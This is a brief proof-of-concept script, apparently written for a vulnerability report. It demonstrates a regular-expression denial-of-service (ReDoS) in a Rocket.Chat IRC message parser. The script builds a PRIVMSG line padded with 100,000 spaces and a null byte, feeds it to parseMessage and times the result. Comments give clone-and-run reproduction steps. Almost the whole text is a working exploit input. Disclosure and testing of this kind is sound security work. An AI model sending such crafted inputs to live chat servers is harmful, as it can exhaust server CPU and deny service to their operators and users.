ReDos

poc.js

const parseMessage = require('./parseMessage')
const validLine =
  ':' + 'myNick!user@host' + ' ' +
  'PRIVMSG' + ' ' +
  '#channel' + ' ' +
   'Hello ' +""+" ".repeat(100000)+"\u0000"+ 'Trailing';

const startTime = performance.now();


const message = parseMessage(validLine);
console.log(message)

const endTime = performance.now();
const timeTaken = endTime - startTime;

console.log(`time taken: ${timeTaken.toFixed(3)} ms`);


// 1.git clone https://github.com/mmmsssttt404/Rocket.Chat.git
// 2.cd Rocket.Chat
// 3.yarn
// 4.create poc.js
// 5.node poc.js